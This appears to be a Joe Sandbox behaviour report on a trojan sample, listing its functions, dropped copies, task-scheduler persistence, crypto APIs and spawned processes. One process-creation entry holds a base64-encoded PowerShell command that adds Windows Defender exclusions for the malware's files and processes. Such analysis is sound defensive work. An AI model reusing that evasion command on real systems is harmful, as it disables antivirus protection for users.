Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058FB130	0_2_058FB130
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058F4958	0_2_058F4958
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058FC5C7	0_2_058FC5C7
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058FD128	0_2_058FD128
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058FB120	0_2_058FB120
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_0592BF40	0_2_0592BF40
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_0592D139	0_2_0592D139
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_05928220	0_2_05928220
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_05928D00	0_2_05928D00
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_05920006	0_2_05920006
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_05920040	0_2_05920040
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_0592C267	0_2_0592C267
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_05A10031	0_2_05A10031
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_05A10040	0_2_05A10040
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_05C70040	0_2_05C70040
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_05C70007	0_2_05C70007
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_06263548	0_2_06263548
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_06263558	0_2_06263558
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_02AAB470	3_2_02AAB470
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_02AAB451	3_2_02AAB451
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_01460E5C	8_2_01460E5C
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_0146D230	8_2_0146D230
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_0146940A	8_2_0146940A
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_01469418	8_2_01469418
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_014699D0	8_2_014699D0
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_01469A20	8_2_01469A20
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_01469A30	8_2_01469A30
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_0593142C	8_2_0593142C
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05930040	8_2_05930040
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_0593BA60	8_2_0593BA60
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_0593A658	8_2_0593A658
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_0593A649	8_2_0593A649
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05934178	8_2_05934178
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05934167	8_2_05934167
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05930006	8_2_05930006
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05933030	8_2_05933030
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_0593BA51	8_2_0593BA51
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_0593525A	8_2_0593525A
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05935268	8_2_05935268
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05973C20	8_2_05973C20
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05977F90	8_2_05977F90
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05972EC0	8_2_05972EC0
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_0597D018	8_2_0597D018
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_0597DB50	8_2_0597DB50
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05974DD8	8_2_05974DD8
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05974DE8	8_2_05974DE8
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05973C10	8_2_05973C10
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_0597BFD8	8_2_0597BFD8
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_0597BFE8	8_2_0597BFE8
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05972EB1	8_2_05972EB1
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_0597D009	8_2_0597D009
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_059733C7	8_2_059733C7
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_0597DB3F	8_2_0597DB3F
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05A0B130	8_2_05A0B130
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05A0D138	8_2_05A0D138
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05A04958	8_2_05A04958
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05A0C5C7	8_2_05A0C5C7
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05A0B120	8_2_05A0B120
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05A0D128	8_2_05A0D128
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05A3F5D0	8_2_05A3F5D0
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05A3BF40	8_2_05A3BF40
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05A3D139	8_2_05A3D139
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05A38220	8_2_05A38220
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05A38D00	8_2_05A38D00
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05A30007	8_2_05A30007
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05A30040	8_2_05A30040
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05A3C267	8_2_05A3C267
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05B20006	8_2_05B20006
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05B20040	8_2_05B20040
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05C41E49	8_2_05C41E49
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05C41E58	8_2_05C41E58
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05D80040	8_2_05D80040
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05D80007	8_2_05D80007
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_00F0D230	14_2_00F0D230
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_00F09418	14_2_00F09418
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_00F0940A	14_2_00F0940A
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_00F09A30	14_2_00F09A30
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_00F09A24	14_2_00F09A24
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_0540142C	14_2_0540142C
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_05400040	14_2_05400040
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_0540BA60	14_2_0540BA60
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_0540A649	14_2_0540A649
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_0540A658	14_2_0540A658
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_05404167	14_2_05404167
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_05404178	14_2_05404178
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_05400006	14_2_05400006
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_05403030	14_2_05403030
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_0540BA51	14_2_0540BA51
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_0540525A	14_2_0540525A
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_05405268	14_2_05405268
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054B3C20	14_2_054B3C20
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054BD438	14_2_054BD438
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054B2EC0	14_2_054B2EC0
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054BC900	14_2_054BC900
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054B4DD8	14_2_054B4DD8
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054B4DE8	14_2_054B4DE8
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054B3C10	14_2_054B3C10
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054BD427	14_2_054BD427
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054B2EB1	14_2_054B2EB1
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054BB8C0	14_2_054BB8C0
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054BB8D0	14_2_054BB8D0
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054BC8F1	14_2_054BC8F1
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054B33C7	14_2_054B33C7
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054D4958	14_2_054D4958
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054DD138	14_2_054DD138
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054DB130	14_2_054DB130
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054DD128	14_2_054DD128
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054DB120	14_2_054DB120
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054DC5C7	14_2_054DC5C7
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054F0040	14_2_054F0040
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054F0006	14_2_054F0006
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_0551BF40	14_2_0551BF40
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_0551D139	14_2_0551D139
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_05518220	14_2_05518220
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_05518D00	14_2_05518D00
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_05510040	14_2_05510040
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_05510006	14_2_05510006
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_0551C267	14_2_0551C267
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_05850007	14_2_05850007
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_05850040	14_2_05850040

Source: Joe Sandbox View	Dropped File: C:\ProgramData\colsv\qxdc.exe 4235C78FFAF12C4E584666DA54CFC5DC56412235F5A2D313DCAC07D1314DD52E
Source: Joe Sandbox View	Dropped File: C:\ProgramData\tlwghd\flmixjo.exe 4235C78FFAF12C4E584666DA54CFC5DC56412235F5A2D313DCAC07D1314DD52E
Source: Joe Sandbox View	Dropped File: C:\ProgramData\uinetk\wvgk.exe 4235C78FFAF12C4E584666DA54CFC5DC56412235F5A2D313DCAC07D1314DD52E

Source: Opdxdyeul.exe, 00000000.00000002.2369811450.00000000047D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Opdxdyeul.exe
Source: Opdxdyeul.exe, 00000000.00000002.2335719448.00000000012BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Opdxdyeul.exe
Source: Opdxdyeul.exe, 00000000.00000002.2338555032.0000000002F51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs Opdxdyeul.exe
Source: Opdxdyeul.exe, 00000000.00000002.2369811450.0000000004851000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Opdxdyeul.exe
Source: Opdxdyeul.exe, 00000000.00000002.2338555032.00000000032AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Opdxdyeul.exe
Source: Opdxdyeul.exe, 00000000.00000002.2392088459.00000000061D0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Opdxdyeul.exe
Source: Opdxdyeul.exe, 00000000.00000002.2389923725.0000000005880000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Opdxdyeul.exe
Source: Opdxdyeul.exe, 00000000.00000002.2391235154.0000000005CEE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePowerShell.EXE.MUIj% vs Opdxdyeul.exe
Source: Opdxdyeul.exe, 00000000.00000002.2369811450.00000000045DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBgsvtzfy.dll" vs Opdxdyeul.exe
Source: Opdxdyeul.exe, 00000000.00000002.2380244735.0000000005670000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameBgsvtzfy.dll" vs Opdxdyeul.exe

Source: Opdxdyeul.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Opdxdyeul.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: Yjlwuuys.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Opdxdyeul.exe, -.cs	Cryptographic APIs: 'CreateDecryptor'
Source: Opdxdyeul.exe, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: Opdxdyeul.exe, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: Yjlwuuys.exe.0.dr, -.cs	Cryptographic APIs: 'CreateDecryptor'
Source: Yjlwuuys.exe.0.dr, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: Yjlwuuys.exe.0.dr, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, imUVjkNtoE9gOvONSO8.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, imUVjkNtoE9gOvONSO8.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, imUVjkNtoE9gOvONSO8.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, imUVjkNtoE9gOvONSO8.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 0.2.Opdxdyeul.exe.4801750.7.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.Opdxdyeul.exe.4801750.7.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.Opdxdyeul.exe.4801750.7.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.Opdxdyeul.exe.4801750.7.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'
Source: 0.2.Opdxdyeul.exe.61d0000.15.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.Opdxdyeul.exe.61d0000.15.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'

Source: 0.2.Opdxdyeul.exe.61d0000.15.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.Opdxdyeul.exe.61d0000.15.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.Opdxdyeul.exe.4801750.7.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.Opdxdyeul.exe.4801750.7.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.Opdxdyeul.exe.61d0000.15.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.Opdxdyeul.exe.61d0000.15.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.Opdxdyeul.exe.4801750.7.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.Opdxdyeul.exe.4801750.7.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.Opdxdyeul.exe.61d0000.15.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.Opdxdyeul.exe.61d0000.15.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Opdxdyeul.exe.4801750.7.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Opdxdyeul.exe.4801750.7.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)

Source: classification engine

Classification label: mal100.troj.evad.winEXE@23/18@10/2

Source: C:\Users\user\Desktop\Opdxdyeul.exe

File created: C:\Users\user\AppData\Roaming\Yjlwuuys.exe

Jump to behavior

Source: C:\ProgramData\colsv\qxdc.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1948:120:WilError_03
Source: C:\ProgramData\colsv\qxdc.exe	Mutant created: \Sessions\1\BaseNamedObjects\Test Task17

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_esnlaeic.s2n.ps1

Jump to behavior

Source: Opdxdyeul.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Opdxdyeul.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\Opdxdyeul.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Opdxdyeul.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Opdxdyeul.exe	ReversingLabs: Detection: 73%
Source: Opdxdyeul.exe	Virustotal: Detection: 79%

Source: C:\Users\user\Desktop\Opdxdyeul.exe

File read: C:\Users\user\Desktop\Opdxdyeul.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Opdxdyeul.exe "C:\Users\user\Desktop\Opdxdyeul.exe"
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABPAHAAZAB4AGQAeQBlAHUAbAAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwARABlAHMAawB0AG8AcABcAE8AcABkAHgAZAB5AGUAdQBsAC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABZAGoAbAB3AHUAdQB5AHMALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAWQBqAGwAdwB1AHUAeQBzAC4AZQB4AGUA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process created: C:\Users\user\Desktop\Opdxdyeul.exe "C:\Users\user\Desktop\Opdxdyeul.exe"
Source: unknown	Process created: C:\ProgramData\colsv\qxdc.exe C:\ProgramData\colsv\qxdc.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Yjlwuuys.exe "C:\Users\user\AppData\Roaming\Yjlwuuys.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\ProgramData\colsv\qxdc.exe	Process created: C:\ProgramData\colsv\qxdc.exe "C:\ProgramData\colsv\qxdc.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Yjlwuuys.exe "C:\Users\user\AppData\Roaming\Yjlwuuys.exe"
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Process created: C:\Users\user\AppData\Roaming\Yjlwuuys.exe "C:\Users\user\AppData\Roaming\Yjlwuuys.exe"
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Process created: C:\Users\user\AppData\Roaming\Yjlwuuys.exe "C:\Users\user\AppData\Roaming\Yjlwuuys.exe"
Source: unknown	Process created: C:\ProgramData\colsv\qxdc.exe C:\ProgramData\colsv\qxdc.exe
Source: C:\ProgramData\colsv\qxdc.exe	Process created: C:\ProgramData\colsv\qxdc.exe "C:\ProgramData\colsv\qxdc.exe"
Source: unknown	Process created: C:\ProgramData\colsv\qxdc.exe C:\ProgramData\colsv\qxdc.exe
Source: C:\ProgramData\colsv\qxdc.exe	Process created: C:\ProgramData\colsv\qxdc.exe "C:\ProgramData\colsv\qxdc.exe"
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABPAHAAZAB4AGQAeQBlAHUAbAAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwARABlAHMAawB0AG8AcABcAE8AcABkAHgAZAB5AGUAdQBsAC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABZAGoAbAB3AHUAdQB5AHMALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAWQBqAGwAdwB1AHUAeQBzAC4AZQB4AGUA	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process created: C:\Users\user\Desktop\Opdxdyeul.exe "C:\Users\user\Desktop\Opdxdyeul.exe"	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Process created: C:\ProgramData\colsv\qxdc.exe "C:\ProgramData\colsv\qxdc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Process created: C:\Users\user\AppData\Roaming\Yjlwuuys.exe "C:\Users\user\AppData\Roaming\Yjlwuuys.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Process created: C:\Users\user\AppData\Roaming\Yjlwuuys.exe "C:\Users\user\AppData\Roaming\Yjlwuuys.exe"
Source: C:\ProgramData\colsv\qxdc.exe	Process created: C:\ProgramData\colsv\qxdc.exe "C:\ProgramData\colsv\qxdc.exe"
Source: C:\ProgramData\colsv\qxdc.exe	Process created: C:\ProgramData\colsv\qxdc.exe "C:\ProgramData\colsv\qxdc.exe"

Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: iertutil.dll	Jump to behavior
